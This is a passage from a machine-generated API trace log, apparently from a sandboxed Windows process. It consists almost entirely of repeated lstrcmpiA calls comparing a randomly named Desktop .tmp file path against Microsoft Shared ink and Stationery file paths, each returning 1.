HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 1 [0125.835] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 1 [0125.836] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 1 [0125.836] 